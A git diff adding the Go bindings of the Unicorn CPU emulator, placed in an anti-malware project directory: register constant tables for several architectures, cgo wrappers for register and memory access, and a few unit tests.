b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/m68k_const.go new file mode 100644 index 0000000..36ba914 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/m68k_const.go @@ -0,0 +1,27 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.go] +const ( + +// M68K registers + + M68K_REG_INVALID = 0 + M68K_REG_A0 = 1 + M68K_REG_A1 = 2 + M68K_REG_A2 = 3 + M68K_REG_A3 = 4 + M68K_REG_A4 = 5 + M68K_REG_A5 = 6 + M68K_REG_A6 = 7 + M68K_REG_A7 = 8 + M68K_REG_D0 = 9 + M68K_REG_D1 = 10 + M68K_REG_D2 = 11 + M68K_REG_D3 = 12 + M68K_REG_D4 = 13 + M68K_REG_D5 = 14 + M68K_REG_D6 = 15 + M68K_REG_D7 = 16 + M68K_REG_SR = 17 + M68K_REG_PC = 18 + M68K_REG_ENDING = 19 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/mips_const.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/mips_const.go new file mode 100644 index 0000000..df3f2c0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/mips_const.go @@ -0,0 +1,200 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.go] +const ( + +// MIPS registers + + MIPS_REG_INVALID = 0 + +// General purpose registers + MIPS_REG_PC = 1 + MIPS_REG_0 = 2 + MIPS_REG_1 = 3 + MIPS_REG_2 = 4 + MIPS_REG_3 = 5 + MIPS_REG_4 = 6 + MIPS_REG_5 = 7 + MIPS_REG_6 = 8 + MIPS_REG_7 = 9 + MIPS_REG_8 = 10 + MIPS_REG_9 = 11 + MIPS_REG_10 = 12 + MIPS_REG_11 = 13 + MIPS_REG_12 = 14 + MIPS_REG_13 = 15 + MIPS_REG_14 = 16 + MIPS_REG_15 = 17 + MIPS_REG_16 = 18 + MIPS_REG_17 = 19 + MIPS_REG_18 = 20 + MIPS_REG_19 = 21 + MIPS_REG_20 = 22 + MIPS_REG_21 = 23 + MIPS_REG_22 = 24 + MIPS_REG_23 = 25 + MIPS_REG_24 = 26 + MIPS_REG_25 = 27 + MIPS_REG_26 = 28 + MIPS_REG_27 = 29 + MIPS_REG_28 = 30 + MIPS_REG_29 = 31 + MIPS_REG_30 = 32 + MIPS_REG_31 = 33 + +// DSP registers + MIPS_REG_DSPCCOND = 34 + MIPS_REG_DSPCARRY = 35 + MIPS_REG_DSPEFI = 36 + MIPS_REG_DSPOUTFLAG = 37 + MIPS_REG_DSPOUTFLAG16_19 = 38 + MIPS_REG_DSPOUTFLAG20 = 39 + MIPS_REG_DSPOUTFLAG21 = 40 + MIPS_REG_DSPOUTFLAG22 = 41 + MIPS_REG_DSPOUTFLAG23 = 42 + MIPS_REG_DSPPOS = 43 + MIPS_REG_DSPSCOUNT = 44 + +// ACC registers + MIPS_REG_AC0 = 45 + MIPS_REG_AC1 = 46 + MIPS_REG_AC2 = 47 + MIPS_REG_AC3 = 48 + +// COP registers + MIPS_REG_CC0 = 49 + MIPS_REG_CC1 = 50 + MIPS_REG_CC2 = 51 + MIPS_REG_CC3 = 52 + MIPS_REG_CC4 = 53 + MIPS_REG_CC5 = 54 + MIPS_REG_CC6 = 55 + MIPS_REG_CC7 = 56 + +// FPU registers + MIPS_REG_F0 = 57 + MIPS_REG_F1 = 58 + MIPS_REG_F2 = 59 + MIPS_REG_F3 = 60 + MIPS_REG_F4 = 61 + MIPS_REG_F5 = 62 + MIPS_REG_F6 = 63 + MIPS_REG_F7 = 64 + MIPS_REG_F8 = 65 + MIPS_REG_F9 = 66 + MIPS_REG_F10 = 67 + MIPS_REG_F11 = 68 + MIPS_REG_F12 = 69 + MIPS_REG_F13 = 70 + MIPS_REG_F14 = 71 + MIPS_REG_F15 = 72 + MIPS_REG_F16 = 73 + MIPS_REG_F17 = 74 + MIPS_REG_F18 = 75 + MIPS_REG_F19 = 76 + MIPS_REG_F20 = 77 + MIPS_REG_F21 = 78 + MIPS_REG_F22 = 79 + MIPS_REG_F23 = 80 + MIPS_REG_F24 = 81 + MIPS_REG_F25 = 82 + MIPS_REG_F26 = 83 + MIPS_REG_F27 = 84 + MIPS_REG_F28 = 85 + MIPS_REG_F29 = 86 + MIPS_REG_F30 = 87 + MIPS_REG_F31 = 88 + MIPS_REG_FCC0 = 89 + MIPS_REG_FCC1 = 90 + MIPS_REG_FCC2 = 91 + MIPS_REG_FCC3 = 92 + MIPS_REG_FCC4 = 93 + MIPS_REG_FCC5 = 94 + MIPS_REG_FCC6 = 95 + MIPS_REG_FCC7 = 96 + +// AFPR128 + MIPS_REG_W0 = 97 + MIPS_REG_W1 = 98 + MIPS_REG_W2 = 99 + MIPS_REG_W3 = 100 + MIPS_REG_W4 = 101 + MIPS_REG_W5 = 102 + MIPS_REG_W6 = 103 + MIPS_REG_W7 = 104 + MIPS_REG_W8 = 105 + MIPS_REG_W9 = 106 + MIPS_REG_W10 = 107 + MIPS_REG_W11 = 108 + MIPS_REG_W12 = 109 + MIPS_REG_W13 = 110 + MIPS_REG_W14 = 111 + MIPS_REG_W15 = 112 + MIPS_REG_W16 = 113 + MIPS_REG_W17 = 114 + MIPS_REG_W18 = 115 + MIPS_REG_W19 = 116 + MIPS_REG_W20 = 117 + MIPS_REG_W21 = 118 + MIPS_REG_W22 = 119 + MIPS_REG_W23 = 120 + MIPS_REG_W24 = 121 + MIPS_REG_W25 = 122 + MIPS_REG_W26 = 123 + MIPS_REG_W27 = 124 + MIPS_REG_W28 = 125 + MIPS_REG_W29 = 126 + MIPS_REG_W30 = 127 + MIPS_REG_W31 = 128 + MIPS_REG_HI = 129 + MIPS_REG_LO = 130 + MIPS_REG_P0 = 131 + MIPS_REG_P1 = 132 + MIPS_REG_P2 = 133 + MIPS_REG_MPL0 = 134 + MIPS_REG_MPL1 = 135 + MIPS_REG_MPL2 = 136 + MIPS_REG_CP0_CONFIG3 = 137 + MIPS_REG_CP0_USERLOCAL = 138 + MIPS_REG_ENDING = 139 + MIPS_REG_ZERO = 2 + MIPS_REG_AT = 3 + MIPS_REG_V0 = 4 + MIPS_REG_V1 = 5 + MIPS_REG_A0 = 6 + MIPS_REG_A1 = 7 + MIPS_REG_A2 = 8 + MIPS_REG_A3 = 9 + MIPS_REG_T0 = 10 + MIPS_REG_T1 = 11 + MIPS_REG_T2 = 12 + MIPS_REG_T3 = 13 + MIPS_REG_T4 = 14 + MIPS_REG_T5 = 15 + MIPS_REG_T6 = 16 + MIPS_REG_T7 = 17 + MIPS_REG_S0 = 18 + MIPS_REG_S1 = 19 + MIPS_REG_S2 = 20 + MIPS_REG_S3 = 21 + MIPS_REG_S4 = 22 + MIPS_REG_S5 = 23 + MIPS_REG_S6 = 24 + MIPS_REG_S7 = 25 + MIPS_REG_T8 = 26 + MIPS_REG_T9 = 27 + MIPS_REG_K0 = 28 + MIPS_REG_K1 = 29 + MIPS_REG_GP = 30 + MIPS_REG_SP = 31 + MIPS_REG_FP = 32 + MIPS_REG_S8 = 32 + MIPS_REG_RA = 33 + MIPS_REG_HI0 = 45 + MIPS_REG_HI1 = 46 + MIPS_REG_HI2 = 47 + MIPS_REG_HI3 = 48 + MIPS_REG_LO0 = 45 + MIPS_REG_LO1 = 46 + MIPS_REG_LO2 = 47 + MIPS_REG_LO3 = 48 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/reg_batch.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/reg_batch.go new file mode 100644 index 0000000..f5f6c8d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/reg_batch.go @@ -0,0 +1,95 @@ +package unicorn + +import ( + "errors" + "runtime" + "unsafe" +) + +/* +#include + +void *reg_batch_setup(int *regs, int count, uint64_t **vals, int **enums, void ***refs) { + size_t uvsz = sizeof(uint64_t) * count; + size_t ensz = sizeof(int) * count; + size_t ursz = sizeof(uintptr_t) * count; + int i; + + uintptr_t buf = (uintptr_t)calloc(1, uvsz+ensz+ursz); + if (buf == 0) return NULL; + + *vals = (uint64_t *)buf; + *enums = (int *)(buf + uvsz); + *refs = (void **)(buf + uvsz + ensz); + for (i = 0; i < count; i++) { + (*enums)[i] = regs[i]; + (*refs)[i] = &(*vals)[i]; + } + return (void *)buf; +} +*/ +import "C" + +type RegBatch struct { + // cast to local type + vals []uint64 + + // pass these to C + cenums *C.int + crefs *unsafe.Pointer + ccount C.int +} + +func regBatchSetup(regs []int) (buf unsafe.Pointer, vals []uint64, cenums *C.int, crefs *unsafe.Pointer) { + enums := make([]C.int, len(regs)) + for i := 0; i < len(regs); i++ { + enums[i] = C.int(regs[i]) + } + var cvals *C.uint64_t + var inEnums *C.int + if len(regs) > 0 { + inEnums = (*C.int)(unsafe.Pointer(&enums[0])) + } + buf = C.reg_batch_setup(inEnums, C.int(len(regs)), &cvals, &cenums, &crefs) + vals = (*[1 << 24]uint64)(unsafe.Pointer(cvals))[:len(regs)] + return +} + +func NewRegBatch(regs []int) (*RegBatch, error) { + r := &RegBatch{} + var buf unsafe.Pointer + buf, r.vals, r.cenums, r.crefs = regBatchSetup(regs) + if buf == nil { + return nil, errors.New("failed to allocate RegBatch memory") + } + r.ccount = C.int(len(regs)) + // when RegBatch is collected, free C-owned data + runtime.SetFinalizer(r, func(r *RegBatch) { + C.free(buf) + }) + return r, nil +} + +// ReadFast skips copying and returns the internal vals array +func (r *RegBatch) ReadFast(u Unicorn) ([]uint64, error) { + ucerr := C.uc_reg_read_batch(u.Handle(), r.cenums, r.crefs, r.ccount) + if ucerr != ERR_OK { + return nil, errReturn(ucerr) + } + return r.vals, nil +} + +func (r *RegBatch) Read(u Unicorn, vals []uint64) error { + tmp, err := r.ReadFast(u) + if err != nil { + return err + } + copy(vals, tmp[:len(vals)]) + return nil +} + +func (r *RegBatch) Write(u Unicorn, vals []uint64) error { + copy(r.vals[:len(vals)], vals) + ucerr := C.uc_reg_write_batch(u.Handle(), r.cenums, r.crefs, r.ccount) + return errReturn(ucerr) +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/sparc_const.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/sparc_const.go new file mode 100644 index 0000000..afd94f4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/sparc_const.go @@ -0,0 +1,99 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.go] +const ( + +// SPARC registers + + SPARC_REG_INVALID = 0 + SPARC_REG_F0 = 1 + SPARC_REG_F1 = 2 + SPARC_REG_F2 = 3 + SPARC_REG_F3 = 4 + SPARC_REG_F4 = 5 + SPARC_REG_F5 = 6 + SPARC_REG_F6 = 7 + SPARC_REG_F7 = 8 + SPARC_REG_F8 = 9 + SPARC_REG_F9 = 10 + SPARC_REG_F10 = 11 + SPARC_REG_F11 = 12 + SPARC_REG_F12 = 13 + SPARC_REG_F13 = 14 + SPARC_REG_F14 = 15 + SPARC_REG_F15 = 16 + SPARC_REG_F16 = 17 + SPARC_REG_F17 = 18 + SPARC_REG_F18 = 19 + SPARC_REG_F19 = 20 + SPARC_REG_F20 = 21 + SPARC_REG_F21 = 22 + SPARC_REG_F22 = 23 + SPARC_REG_F23 = 24 + SPARC_REG_F24 = 25 + SPARC_REG_F25 = 26 + SPARC_REG_F26 = 27 + SPARC_REG_F27 = 28 + SPARC_REG_F28 = 29 + SPARC_REG_F29 = 30 + SPARC_REG_F30 = 31 + SPARC_REG_F31 = 32 + SPARC_REG_F32 = 33 + SPARC_REG_F34 = 34 + SPARC_REG_F36 = 35 + SPARC_REG_F38 = 36 + SPARC_REG_F40 = 37 + SPARC_REG_F42 = 38 + SPARC_REG_F44 = 39 + SPARC_REG_F46 = 40 + SPARC_REG_F48 = 41 + SPARC_REG_F50 = 42 + SPARC_REG_F52 = 43 + SPARC_REG_F54 = 44 + SPARC_REG_F56 = 45 + SPARC_REG_F58 = 46 + SPARC_REG_F60 = 47 + SPARC_REG_F62 = 48 + SPARC_REG_FCC0 = 49 + SPARC_REG_FCC1 = 50 + SPARC_REG_FCC2 = 51 + SPARC_REG_FCC3 = 52 + SPARC_REG_G0 = 53 + SPARC_REG_G1 = 54 + SPARC_REG_G2 = 55 + SPARC_REG_G3 = 56 + SPARC_REG_G4 = 57 + SPARC_REG_G5 = 58 + SPARC_REG_G6 = 59 + SPARC_REG_G7 = 60 + SPARC_REG_I0 = 61 + SPARC_REG_I1 = 62 + SPARC_REG_I2 = 63 + SPARC_REG_I3 = 64 + SPARC_REG_I4 = 65 + SPARC_REG_I5 = 66 + SPARC_REG_FP = 67 + SPARC_REG_I7 = 68 + SPARC_REG_ICC = 69 + SPARC_REG_L0 = 70 + SPARC_REG_L1 = 71 + SPARC_REG_L2 = 72 + SPARC_REG_L3 = 73 + SPARC_REG_L4 = 74 + SPARC_REG_L5 = 75 + SPARC_REG_L6 = 76 + SPARC_REG_L7 = 77 + SPARC_REG_O0 = 78 + SPARC_REG_O1 = 79 + SPARC_REG_O2 = 80 + SPARC_REG_O3 = 81 + SPARC_REG_O4 = 82 + SPARC_REG_O5 = 83 + SPARC_REG_SP = 84 + SPARC_REG_O7 = 85 + SPARC_REG_Y = 86 + SPARC_REG_XCC = 87 + SPARC_REG_PC = 88 + SPARC_REG_ENDING = 89 + SPARC_REG_O6 = 84 + SPARC_REG_I6 = 67 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.c b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.c new file mode 100644 index 0000000..d21e66f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.c @@ -0,0 +1,25 @@ +#include +#include +#include "_cgo_export.h" + +uc_err uc_reg_read_batch_helper(uc_engine *handle, int *regs, uint64_t *val_out, int count) { + void **val_ref = malloc(sizeof(void *) * count); + int i; + for (i = 0; i < count; i++) { + val_ref[i] = (void *)&val_out[i]; + } + uc_err ret = uc_reg_read_batch(handle, regs, val_ref, count); + free(val_ref); + return ret; +} + +uc_err uc_reg_write_batch_helper(uc_engine *handle, int *regs, uint64_t *val_in, int count) { + void **val_ref = malloc(sizeof(void *) * count); + int i; + for (i = 0; i < count; i++) { + val_ref[i] = (void *)&val_in[i]; + } + uc_err ret = uc_reg_write_batch(handle, regs, (void *const *)val_ref, count); + free(val_ref); + return ret; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.h b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.h new file mode 100644 index 0000000..0602234 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.h @@ -0,0 +1,2 @@ +uc_err uc_reg_read_batch_helper(uc_engine *handle, int *regs, uint64_t *val_out, int count); +uc_err uc_reg_write_batch_helper(uc_engine *handle, int *regs, uint64_t *val_in, int count); diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn.go new file mode 100644 index 0000000..5c20ab6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn.go @@ -0,0 +1,235 @@ +package unicorn + +import ( + "runtime" + "sync" + "unsafe" +) + +/* +#cgo CFLAGS: -O3 -Wall -Werror -I../../../include +#cgo LDFLAGS: -L../../../ -lunicorn +#cgo linux LDFLAGS: -L../../../ -lunicorn -lrt +#include +#include "uc.h" +*/ +import "C" + +type UcError C.uc_err + +func (u UcError) Error() string { + return C.GoString(C.uc_strerror(C.uc_err(u))) +} + +func errReturn(err C.uc_err) error { + if err != ERR_OK { + return UcError(err) + } + return nil +} + +type MemRegion struct { + Begin, End uint64 + Prot int +} + +type Unicorn interface { + MemMap(addr, size uint64) error + MemMapProt(addr, size uint64, prot int) error + MemMapPtr(addr, size uint64, prot int, ptr unsafe.Pointer) error + MemProtect(addr, size uint64, prot int) error + MemUnmap(addr, size uint64) error + MemRegions() ([]*MemRegion, error) + MemRead(addr, size uint64) ([]byte, error) + MemReadInto(dst []byte, addr uint64) error + MemWrite(addr uint64, data []byte) error + RegRead(reg int) (uint64, error) + RegReadBatch(regs []int) ([]uint64, error) + RegWrite(reg int, value uint64) error + RegWriteBatch(regs []int, vals []uint64) error + RegReadMmr(reg int) (*X86Mmr, error) + RegWriteMmr(reg int, value *X86Mmr) error + Start(begin, until uint64) error + StartWithOptions(begin, until uint64, options *UcOptions) error + Stop() error + HookAdd(htype int, cb interface{}, begin, end uint64, extra ...int) (Hook, error) + HookDel(hook Hook) error + Query(queryType int) (uint64, error) + Close() error + + ContextSave(reuse Context) (Context, error) + ContextRestore(Context) error + Handle() *C.uc_engine + RegWriteX86Msr(reg uint64, val uint64) error + RegReadX86Msr(reg uint64) (uint64, error) +} + +type uc struct { + handle *C.uc_engine + final sync.Once + hooks map[Hook]uintptr +} + +type UcOptions struct { + Timeout, Count uint64 +} + +func Version() (int, int) { + var major, minor C.uint + C.uc_version(&major, &minor) + return int(major), int(minor) +} + +func NewUnicorn(arch, mode int) (Unicorn, error) { + major, minor := Version() + if major != C.UC_API_MAJOR || minor != C.UC_API_MINOR { + return nil, UcError(ERR_VERSION) + } + var handle *C.uc_engine + if ucerr := C.uc_open(C.uc_arch(arch), C.uc_mode(mode), &handle); ucerr != ERR_OK { + return nil, UcError(ucerr) + } + u := &uc{handle: handle, hooks: make(map[Hook]uintptr)} + runtime.SetFinalizer(u, func(u *uc) { u.Close() }) + return u, nil +} + +func (u *uc) Close() (err error) { + u.final.Do(func() { + if u.handle != nil { + for _, uptr := range u.hooks { + hookMap.remove(uptr) + } + u.hooks = nil + err = errReturn(C.uc_close(u.handle)) + u.handle = nil + } + }) + return err +} + +func (u *uc) StartWithOptions(begin, until uint64, options *UcOptions) error { + ucerr := C.uc_emu_start(u.handle, C.uint64_t(begin), C.uint64_t(until), C.uint64_t(options.Timeout), C.size_t(options.Count)) + return errReturn(ucerr) +} + +func (u *uc) Start(begin, until uint64) error { + return u.StartWithOptions(begin, until, &UcOptions{}) +} + +func (u *uc) Stop() error { + return errReturn(C.uc_emu_stop(u.handle)) +} + +func (u *uc) RegWrite(reg int, value uint64) error { + var val C.uint64_t = C.uint64_t(value) + ucerr := C.uc_reg_write(u.handle, C.int(reg), unsafe.Pointer(&val)) + return errReturn(ucerr) +} + +func (u *uc) RegRead(reg int) (uint64, error) { + var val C.uint64_t + ucerr := C.uc_reg_read(u.handle, C.int(reg), unsafe.Pointer(&val)) + return uint64(val), errReturn(ucerr) +} + +func (u *uc) RegWriteBatch(regs []int, vals []uint64) error { + if len(regs) == 0 { + return nil + } + if len(vals) < len(regs) { + regs = regs[:len(vals)] + } + cregs := make([]C.int, len(regs)) + for i, v := range regs { + cregs[i] = C.int(v) + } + cregs2 := (*C.int)(unsafe.Pointer(&cregs[0])) + cvals := (*C.uint64_t)(unsafe.Pointer(&vals[0])) + ucerr := C.uc_reg_write_batch_helper(u.handle, cregs2, cvals, C.int(len(regs))) + return errReturn(ucerr) +} + +func (u *uc) RegReadBatch(regs []int) ([]uint64, error) { + if len(regs) == 0 { + return nil, nil + } + cregs := make([]C.int, len(regs)) + for i, v := range regs { + cregs[i] = C.int(v) + } + cregs2 := (*C.int)(unsafe.Pointer(&cregs[0])) + vals := make([]uint64, len(regs)) + cvals := (*C.uint64_t)(unsafe.Pointer(&vals[0])) + ucerr := C.uc_reg_read_batch_helper(u.handle, cregs2, cvals, C.int(len(regs))) + return vals, errReturn(ucerr) +} + +func (u *uc) MemRegions() ([]*MemRegion, error) { + var regions *C.uc_mem_region + var count C.uint32_t + ucerr := C.uc_mem_regions(u.handle, ®ions, &count) + if ucerr != C.UC_ERR_OK { + return nil, errReturn(ucerr) + } + ret := make([]*MemRegion, count) + tmp := (*[1 << 24]C.struct_uc_mem_region)(unsafe.Pointer(regions))[:count] + for i, v := range tmp { + ret[i] = &MemRegion{ + Begin: uint64(v.begin), + End: uint64(v.end), + Prot: int(v.perms), + } + } + C.uc_free(unsafe.Pointer(regions)) + return ret, nil +} + +func (u *uc) MemWrite(addr uint64, data []byte) error { + if len(data) == 0 { + return nil + } + return errReturn(C.uc_mem_write(u.handle, C.uint64_t(addr), unsafe.Pointer(&data[0]), C.size_t(len(data)))) +} + +func (u *uc) MemReadInto(dst []byte, addr uint64) error { + if len(dst) == 0 { + return nil + } + return errReturn(C.uc_mem_read(u.handle, C.uint64_t(addr), unsafe.Pointer(&dst[0]), C.size_t(len(dst)))) +} + +func (u *uc) MemRead(addr, size uint64) ([]byte, error) { + dst := make([]byte, size) + return dst, u.MemReadInto(dst, addr) +} + +func (u *uc) MemMapProt(addr, size uint64, prot int) error { + return errReturn(C.uc_mem_map(u.handle, C.uint64_t(addr), C.size_t(size), C.uint32_t(prot))) +} + +func (u *uc) MemMap(addr, size uint64) error { + return u.MemMapProt(addr, size, PROT_ALL) +} + +func (u *uc) MemMapPtr(addr, size uint64, prot int, ptr unsafe.Pointer) error { + return errReturn(C.uc_mem_map_ptr(u.handle, C.uint64_t(addr), C.size_t(size), C.uint32_t(prot), ptr)) +} + +func (u *uc) MemProtect(addr, size uint64, prot int) error { + return errReturn(C.uc_mem_protect(u.handle, C.uint64_t(addr), C.size_t(size), C.uint32_t(prot))) +} + +func (u *uc) MemUnmap(addr, size uint64) error { + return errReturn(C.uc_mem_unmap(u.handle, C.uint64_t(addr), C.size_t(size))) +} + +func (u *uc) Query(queryType int) (uint64, error) { + var ret C.size_t + ucerr := C.uc_query(u.handle, C.uc_query_type(queryType), &ret) + return uint64(ret), errReturn(ucerr) +} + +func (u *uc) Handle() *C.uc_engine { + return u.handle +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_const.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_const.go new file mode 100644 index 0000000..ebc2af2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_const.go @@ -0,0 +1,111 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.go] +const ( + API_MAJOR = 1 + + API_MINOR = 0 + VERSION_MAJOR = 1 + + VERSION_MINOR = 0 + VERSION_EXTRA = 2 + SECOND_SCALE = 1000000 + MILISECOND_SCALE = 1000 + ARCH_ARM = 1 + ARCH_ARM64 = 2 + ARCH_MIPS = 3 + ARCH_X86 = 4 + ARCH_PPC = 5 + ARCH_SPARC = 6 + ARCH_M68K = 7 + ARCH_MAX = 8 + + MODE_LITTLE_ENDIAN = 0 + MODE_BIG_ENDIAN = 1073741824 + + MODE_ARM = 0 + MODE_THUMB = 16 + MODE_MCLASS = 32 + MODE_V8 = 64 + MODE_ARM926 = 128 + MODE_ARM946 = 256 + MODE_ARM1176 = 512 + MODE_MICRO = 16 + MODE_MIPS3 = 32 + MODE_MIPS32R6 = 64 + MODE_MIPS32 = 4 + MODE_MIPS64 = 8 + MODE_16 = 2 + MODE_32 = 4 + MODE_64 = 8 + MODE_PPC32 = 4 + MODE_PPC64 = 8 + MODE_QPX = 16 + MODE_SPARC32 = 4 + MODE_SPARC64 = 8 + MODE_V9 = 16 + + ERR_OK = 0 + ERR_NOMEM = 1 + ERR_ARCH = 2 + ERR_HANDLE = 3 + ERR_MODE = 4 + ERR_VERSION = 5 + ERR_READ_UNMAPPED = 6 + ERR_WRITE_UNMAPPED = 7 + ERR_FETCH_UNMAPPED = 8 + ERR_HOOK = 9 + ERR_INSN_INVALID = 10 + ERR_MAP = 11 + ERR_WRITE_PROT = 12 + ERR_READ_PROT = 13 + ERR_FETCH_PROT = 14 + ERR_ARG = 15 + ERR_READ_UNALIGNED = 16 + ERR_WRITE_UNALIGNED = 17 + ERR_FETCH_UNALIGNED = 18 + ERR_HOOK_EXIST = 19 + ERR_RESOURCE = 20 + ERR_EXCEPTION = 21 + MEM_READ = 16 + MEM_WRITE = 17 + MEM_FETCH = 18 + MEM_READ_UNMAPPED = 19 + MEM_WRITE_UNMAPPED = 20 + MEM_FETCH_UNMAPPED = 21 + MEM_WRITE_PROT = 22 + MEM_READ_PROT = 23 + MEM_FETCH_PROT = 24 + MEM_READ_AFTER = 25 + HOOK_INTR = 1 + HOOK_INSN = 2 + HOOK_CODE = 4 + HOOK_BLOCK = 8 + HOOK_MEM_READ_UNMAPPED = 16 + HOOK_MEM_WRITE_UNMAPPED = 32 + HOOK_MEM_FETCH_UNMAPPED = 64 + HOOK_MEM_READ_PROT = 128 + HOOK_MEM_WRITE_PROT = 256 + HOOK_MEM_FETCH_PROT = 512 + HOOK_MEM_READ = 1024 + HOOK_MEM_WRITE = 2048 + HOOK_MEM_FETCH = 4096 + HOOK_MEM_READ_AFTER = 8192 + HOOK_INSN_INVALID = 16384 + HOOK_MEM_UNMAPPED = 112 + HOOK_MEM_PROT = 896 + HOOK_MEM_READ_INVALID = 144 + HOOK_MEM_WRITE_INVALID = 288 + HOOK_MEM_FETCH_INVALID = 576 + HOOK_MEM_INVALID = 1008 + HOOK_MEM_VALID = 7168 + QUERY_MODE = 1 + QUERY_PAGE_SIZE = 2 + QUERY_ARCH = 3 + QUERY_TIMEOUT = 4 + + PROT_NONE = 0 + PROT_READ = 1 + PROT_WRITE = 2 + PROT_EXEC = 4 + PROT_ALL = 7 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_test.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_test.go new file mode 100644 index 0000000..fd65207 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_test.go @@ -0,0 +1,74 @@ +package unicorn + +import ( + "testing" +) + +func TestMemUnmap(t *testing.T) { + mu, err := NewUnicorn(ARCH_X86, MODE_32) + if err != nil { + t.Fatal(err) + } + if err := mu.MemMap(0x1000, 0x1000); err != nil { + t.Fatal(err) + } + tmp := make([]byte, 1024) + if err := mu.MemWrite(0x1000, tmp); err != nil { + t.Fatal(err) + } + if err := mu.MemUnmap(0x1000, 0x1000); err != nil { + t.Fatal(err) + } + if err := mu.MemWrite(0x1000, tmp); err.(UcError) != ERR_WRITE_UNMAPPED { + t.Fatalf("Expected ERR_WRITE_UNMAPPED, got: %v", err) + } +} + +func TestDoubleClose(t *testing.T) { + mu, err := NewUnicorn(ARCH_X86, MODE_32) + if err != nil { + t.Fatal(err) + } + if err := mu.Close(); err != nil { + t.Fatal(err) + } + if err := mu.Close(); err != nil { + t.Fatal(err) + } +} + +func TestMemRegions(t *testing.T) { + mu, err := NewUnicorn(ARCH_X86, MODE_32) + if err != nil { + t.Fatal(err) + } + err = mu.MemMap(0x1000, 0x1000) + if err != nil { + t.Fatal(err) + } + regions, err := mu.MemRegions() + if err != nil { + t.Fatal(err) + } + if len(regions) != 1 { + t.Fatalf("returned wrong number of regions: %d != 1", len(regions)) + } + r := regions[0] + if r.Begin != 0x1000 || r.End != 0x1fff || r.Prot != 7 { + t.Fatalf("incorrect region: %#v", r) + } +} + +func TestQuery(t *testing.T) { + mu, err := NewUnicorn(ARCH_ARM, MODE_THUMB) + if err != nil { + t.Fatal(err) + } + mode, err := mu.Query(QUERY_MODE) + if err != nil { + t.Fatal(err) + } + if mode != MODE_THUMB { + t.Fatalf("query returned invalid mode: %d != %d", mode, MODE_THUMB) + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86.go new file mode 100644 index 0000000..7ffa25d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86.go @@ -0,0 +1,54 @@ +package unicorn + +import ( + "unsafe" +) + +// #include +// #include +import "C" + +type X86Mmr struct { + Selector uint16 + Base uint64 + Limit uint32 + Flags uint32 +} + +func (u *uc) RegWriteMmr(reg int, value *X86Mmr) error { + var val C.uc_x86_mmr + val.selector = C.uint16_t(value.Selector) + val.base = C.uint64_t(value.Base) + val.limit = C.uint32_t(value.Limit) + val.flags = C.uint32_t(value.Flags) + ucerr := C.uc_reg_write(u.handle, C.int(reg), unsafe.Pointer(&val)) + return errReturn(ucerr) +} + +func (u *uc) RegReadMmr(reg int) (*X86Mmr, error) { + var val C.uc_x86_mmr + ucerr := C.uc_reg_read(u.handle, C.int(reg), unsafe.Pointer(&val)) + ret := &X86Mmr{ + Selector: uint16(val.selector), + Base: uint64(val.base), + Limit: uint32(val.limit), + Flags: uint32(val.flags), + } + return ret, errReturn(ucerr) +} + +func (u *uc) RegWriteX86Msr(reg uint64, val uint64) error { + msr := C.uc_x86_msr{ + rid: C.uint32_t(reg), + value: C.uint64_t(val), + } + return errReturn(C.uc_reg_write(u.handle, X86_REG_MSR, unsafe.Pointer(&msr))) +} + +func (u *uc) RegReadX86Msr(reg uint64) (uint64, error) { + msr := C.uc_x86_msr{ + rid: C.uint32_t(reg), + } + ucerr := C.uc_reg_read(u.handle, X86_REG_MSR, unsafe.Pointer(&msr)) + return uint64(msr.value), errReturn(ucerr) +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_const.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_const.go new file mode 100644 index 0000000..33899a6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_const.go @@ -0,0 +1,1602 @@ +package unicorn 